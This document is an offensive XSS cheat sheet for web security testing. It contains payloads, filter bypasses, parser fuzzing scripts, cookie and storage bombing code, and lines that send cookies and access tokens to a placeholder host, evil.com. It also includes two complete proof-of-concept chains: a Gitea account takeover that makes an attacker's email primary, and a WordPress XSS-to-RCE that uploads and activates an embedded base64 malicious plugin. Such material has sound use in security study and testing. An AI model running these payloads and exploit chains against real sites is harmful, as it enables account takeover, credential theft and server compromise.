XSS - Cross-site Scripting

Definition

Cross-Site Scripting (XSS) is a security vulnerability that allows attackers to inject malicious scripts into webpages viewed by other users.

Basic payloads

<script>alert()</script>
<img src=x onerror=alert()>
<svg onload=alert()>

<!-- Run debugger -->
<img src=x onerror=debugger>

<!-- Data exfiltration -->
<script>
document.location='//evil.com?c='.concat(document.cookie);
document.location='//evil.com?t='.concat(localStorage.getItem('access_token'));
</script>

Filter/WAF Bypass

<form><button formaction="javascript:alert(document.domain)">CICK ME</button></form>

Basic filter bypass

<!-- Alternate case -->
<sCrIpt>alert()</ScRipt>
<!-- No quotes -->
alert(String.fromCharCode(88,83,83))
alert(/XSS/.source)
eval(atob(`YWxlcnQoKQ`))
<!-- No parenthesis -->
alert`1`
<!-- Alternate calls -->
["XSS"].map(alert)
\u0061\u006C\u0065\u0072\u0074("XSS")
alert?.()

Variable self

Call a function using self["<func_name>"]():

self[location.hash.substr(1,)]("XSS") <!-- Append #alert to our URL -->
self[Object.keys(self)[5]]("XSS")

> Object.keys(self)
>>> Array(316) [ "close", "stop", "focus", "blur", "open", "alert", "confirm", "prompt", "print", "postMessage", … ]

innerHTML vs innerText

<head>
	<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.3.6/purify.min.js"></script>
</head>
<body>
	<p id="input">&lt;img src=x onerror=alert() /&gt;</p>
	<p id="tmp"></p>
	<p id="output"></p>

	<script>
		console.log(input.innerText); // <img src=x onerror="alert()" />
		console.log(input.innerHTML); // &lt;img src=x onerror="alert()" /&gt;
		let clean = DOMPurify.sanitize(input.innerHTML);
		tmp.innerHTML = clean; // No XSS
		output.innerHTML = tmp.innerText; // XSS here
	</script>
</body>

HTML parser fuzzing

<img src=x onerrorFUZZ="alert()" />
=> FUZZ: 9, 10, 12, 13, 32 (respectively \t, \n, \0xC, \r, space)
HTML parser fuzzing
var i = 0;
function fuzz() {
    console.log("Testing " + i + "...");
    document.body.innerHTML = `<img src=x onerror${String.fromCharCode(i)}="alert(${i})" />`;
    i += 1;
    setTimeout(fuzz, 500);
}
fuzz();

Anchors fuzzing

Javascript protocol

FUZZjavascript:alert()
=> FUZZ: 0x0 to 0x1F (containing \t, \n, \r and space)

javascriptFUZZ:alert()
=> FUZZ: 9, 10, 13, 58 (respectively \t, \n, \r, :)

javaFUZZscript:alert()
=> FUZZ: 9, 10, 13 (respectively \t, \n, \r)

&#FUZZ;javascript:alert()
=> FUZZ: 0x1 to 0x1F (containing \t, \n, \r and space)
Multiple characters

Note that you can use multiple characters:

<a href="java


script:alert()">link</a>
<a href="			javascript:alert()">link2</a>
JavaScript Fuzzing script
<body><script>
let valids = [];
for (let i = 0; i <= 0x10FFFF; i++) {
	document.body.innerHTML = `<a href="&#${i};javascript:void(0)"></a>`;
	let anchor = document.body.firstChild;
	if (anchor.protocol == "javascript:")
		valids.push(i);
}
console.log(valids);
</script></body>

Inspired by the book Javascript for hackers - Gareth Heyes.

URLs

FUZZhttps://xanhacks.xyz
=> FUZZ: 0x1 to 0x1F (containing \t, \n, \r and space)

https:/FUZZ/xanhacks.xyz
=> FUZZ: 9, 10, 13, 47, 92 (respectively \t, \n, \r, /, \)

/FUZZ/xanhacks.xyz
=> FUZZ: 9, 10, 13 (respectively \t, \n, \r) - Chrome based
=> FUZZ: Nothing - Firefox

https://FUZZxanhacks.xyz
=> FUZZ: 9, 10, 13, 47, 64, 92, 173, 847, 6155, 6156, ... a lot

Note: <a href="https://///////xanhacks.xyz">link</a> goes to https://xanhacks.xyz.

URLs Fuzzing script
<body><script>
let valids = [];
for (let i = 0; i <= 0x10FFFF; i++) {
	document.body.innerHTML = `<a href="${String.fromCodePoint(i)}https://xanhacks.xyz"></a>`;
	let anchor = document.body.firstChild;
	if (anchor.hostname == "xanhacks.xyz")
		valids.push(i);
}
console.log(valids);
</script></body>

Inspired by the book Javascript for hackers - Gareth Heyes.

Mutation XSS

The following HTML code will be “fixed” by the browser at runtime. Original HTML:

<table><h1>hello</h1></table>

Displayed HTML:

<h1>hello</h1>
<table></table>

This behavior of “HTML strings being changed by the browser during rendering” is called mutation. And the XSS achieved by exploiting this behavior is naturally called mutation XSS or mXSS.

DOS

Servers often block users that send requests with very large headers (e.g. 8K or 16K bytes).

const value = "a".repeat(4080);
document.cookie = "";

for (let i = 0; i < 100; i++) {
    let name = "a" + i;
    document.cookie = `${name}=${value}; path=/; domain=.example.com`;
}
Nginx - large_client_header_buffers

Syntax: large_client_header_buffers number size;
Default: large_client_header_buffers 4 8k;

  • large_client_header_buffers: Sets the maximum number and size of buffers used for reading large client request header. By default, the buffer size is equal to 8K bytes.
  • A request header field cannot exceed the size of one buffer as well, or the 400 (Bad Request) error is returned to the client.
Apache - LimitRequestFieldSize

Syntax: LimitRequestFieldSize bytes
Default: LimitRequestFieldSize 8190

NodeJS - http.maxHeaderSize

Local/Session Storage bombing

Local/Session storage have a size limit which depends on the web browser.

const value = "a".repeat(4080);
localStorage.clear();
sessionStorage.clear();

for (let i = 0; i < 100; i++) {
    let name = "a" + i;
    localStorage.setItem(name, value);
    sessionStorage.setItem(name, value);
}
Limit - Numbers of characters
  • Chrome 6.0.472.36 beta: 2600-2700k
  • Firefox 3.6.8: 5200-5300k
  • Explorer 8: 4900-5000k
  • Opera 10.70 build 9013 popped a dialog, that allowed me to give the script unlimited storage.

Self XSS

  • Trigger self-XSS using CSRF.
  • Force the victim to use the cookie of an infected account. You can also set the cookie’s path to the vulnerable endpoint of the self-XSS to gain unauthorized access to the victim’s account on other paths.

Account Takeover

Gitea - Change primary email

Proof of Concept

Tested on Gitea Version 1.19.0 (2023-04-25)

Before running the PoC: Before Gitea ATO

After running the PoC: After Gitea ATO

Proof of Concept code:

const attacker_email = "evil@yopmail.com";

// 1) Obtain CSRF token
fetch("/user/settings/account").then(res => res.text()).then(data => {
    let csrfToken = data.match(/csrfToken: '([a-zA-Z0-9_-]+)',/).at(-1);
    // 2) Add secondary email address
    fetch("/user/settings/account/email", {
        method: "POST",
        headers: {
            "Content-Type": "application/x-www-form-urlencoded"
        },
        body: `_csrf=${csrfToken}&email=${attacker_email}`
    })
    .then(res => res.text()).then(data => {
        // 3) Obtain CSRF token & email ID
        fetch("/user/settings/account").then(res => res.text()).then(data => {
            let csrfToken = data.match(/csrfToken: '([a-zA-Z0-9_-]+)',/).at(-1);
            let email_id = "";

            const htmlDoc = new DOMParser().parseFromString(data, "text/html");
            const emailStrong = htmlDoc.getElementsByClassName("ui email list")[0].getElementsByTagName("strong");
            for (let i = 0; i < emailStrong.length; i++) {
              if (emailStrong[i].innerText == attacker_email) {
                email_id = emailStrong[i].parentNode.parentNode.getElementsByClassName("button delete-button")[0].getAttribute("data-id");
                break;
              }
            }
            // 4) Set the email to primary address
            fetch("/user/settings/account/email", {
                method: "POST",
                headers: {
                    "Content-Type": "application/x-www-form-urlencoded"
                },
                body: `_csrf=${csrfToken}&_method=PRIMARY&id=${email_id}`
            });
        });
    })
})

XSS to RCE

Wordpress - Upload plugin form

Proof of Concept

Tested on Wordpress Version 6.2 (2023-04-28)
Admin privileges are required.

Executing the PoC: Executing the PoC

Wordpress plugins list: Wordpress plugins list

The wordpress plugin can be found on Github.

RCE on every page: RCE on every page

Proof of Concept code:

// 1. Obtain CSRF token
fetch("/wp-admin/plugin-install.php")
.then(resp => resp.text())
.then(htmlResponse => {
	const htmlDoc = new DOMParser().parseFromString(htmlResponse, "text/html");
	const csrfToken = htmlDoc.getElementsByClassName("wp-upload-form")[0].getElementsByTagName("input")[0].value;

	// 2. Transform plugin (base64) into blob
	const b64_plugin_data = "UEsDBBQAAAAIAGdanFYSKsI7lwEAAHMDAAAJABwAaW5kZXgucGhwVVQJAAOSj0tkwY9LZHV4CwABBOkDAAAE6QMAAJ1Sy27bMBA8V1+xEHqwHUt0nSKHNEBfMdwAQeI6j0sRCGuKkYRYJEFSkY2g/16SkmIZyaEwT4udnZnVjs6+ylwGZDQKYATLnzNADQg3TD0XlIFtuv43ifQJMwYAirIIdYSRbkY8jJXJhbIobJDndlb79triXDvWfHEZTePJUdvmT+BfbozUp4RkhcmrVUxFSToBUguVSsW0jpylXFdZwT2dCrlVRZYbmE6mx+O+pcd3xB1p4Su4wpKdNtZvvrU3dre86KYOWvGcaaoKaQrBO53rlUGrjNz72oo9M7WFVwWQ9ryxI98zpXtE9z7Fk3jisO/+zn1o7+AN/L/rO8Yt2xg4F6XdraO8F/BlE2TfuJ9oC/eNna+1res6zngVC5WR9m/QJJNrR43NxvhreXtYoMk7Nlkjzyp7Eb/kvDC/qtVeOIek0sr8UMhp6+SMLUSCANM0QeoSG4S1TB6FMEyFYwibKrFS4fBLEDxW3E/Brj8YwkvwQW+1YeVghZqdfE5SRkXKBh+T5ez33ezm9k9IyzR8GFqJv8E/UEsBAh4DFAAAAAgAZ1qcVhIqwjuXAQAAcwMAAAkAGAAAAAAAAQAAAKSBAAAAAGluZGV4LnBocFVUBQADko9LZHV4CwABBOkDAAAE6QMAAFBLBQYAAAAAAQABAE8AAADaAQAAAAA=";
	fetch("data:application/zip;base64," + b64_plugin_data)
	.then(res => res.blob())
	.then(pluginBlob => {
		const formData = new FormData();
		formData.append("_wpnonce", csrfToken);
		formData.append("_wp_http_referer", "/wp-admin/plugin-install.php");
		formData.append("pluginzip", pluginBlob, "plugin.zip");
		formData.append("install-plugin-submit", "Install Now");

		// 3. Upload the malicious plugin
		fetch("/wp-admin/update.php?action=upload-plugin", {
			"method": "POST",
			"body": formData
		})
		.then(resp => resp.text())
		.then(htmlResponse => {
			const htmlDoc2 = new DOMParser().parseFromString(htmlResponse, "text/html");
			const link = htmlDoc2.getElementsByClassName("button button-primary")[0].getAttribute("href");

			// 4. Activate the plugin
			fetch("/wp-admin/" + link);
		});
	});
});

Todo:

  • Drupal